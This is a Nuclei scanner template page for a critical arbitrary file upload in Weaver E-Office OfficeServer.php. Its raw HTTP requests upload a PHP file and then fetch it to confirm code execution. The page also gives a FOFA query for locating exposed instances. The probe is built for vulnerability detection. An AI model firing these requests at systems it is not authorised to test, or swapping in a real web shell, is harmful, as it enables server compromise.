OA E-Office OfficeServer.php Arbitrary File Upload

ID: weaver-office-server-file-upload

Severity: critical

Author: SleepingBag945

Tags: weaver,e-office,oa,rce,intrusive,fileupload

Description

OA E-Office OfficeServer.php has an arbitrary file upload vulnerability. Attackers can obtain sensitive information on the server through the vulnerability.

YAML Source

id: weaver-office-server-file-upload

info:
  name: OA E-Office OfficeServer.php Arbitrary File Upload
  author: SleepingBag945
  severity: critical
  description: |
    OA E-Office OfficeServer.php has an arbitrary file upload vulnerability. Attackers can obtain sensitive information on the server through the vulnerability.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Office%20OfficeServer.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
  classification:
    cpe: cpe:2.3:a:weaver:e-office:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="泛微-EOffice"
    product: e-office
    vendor: weaver
  tags: weaver,e-office,oa,rce,intrusive,fileupload

variables:
  filename: "{{to_lower(rand_base(5))}}"
  string: "weaver-office-server-file-upload"

http:
  - raw:
      - |
        POST /eoffice10/server/public/iWebOffice2015/OfficeServer.php HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Accept-Encoding: gzip, deflate
        Accept-Language: zh-CN,zh;q=0.9
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLpoiBFy4ANA8daew

        ------WebKitFormBoundaryLpoiBFy4ANA8daew
        Content-Disposition: form-data;name="FileData";filename="{{filename}}.php"
        Content-Type: application/octet-stream

        <?php echo md5("{{string}}");unlink(__FILE__);?>

        ------WebKitFormBoundaryLpoiBFy4ANA8daew
        Content-Disposition: form-data;name="FormData"

        {'USERNAME':'admin','RECORDID':'undefined','OPTION':'SAVEFILE','FILENAME':'{{filename}}.php'}
        ------WebKitFormBoundaryLpoiBFy4ANA8daew--
      - |
        GET /eoffice10/server/public/iWebOffice2015/Document/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '{{md5(string)}}'

      - type: status
        status:
          - 200
# digest: 490a004630440220525deaf390357368857da35f19f4fd30c54f0fd4cc69d2336f43530d6c4f7c200220062186e236eb70b2915502f2406ff49e7f6bb3fb6fb28b7386cffce627a46f32:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/weaver/weaver-office-server-file-upload.yaml"

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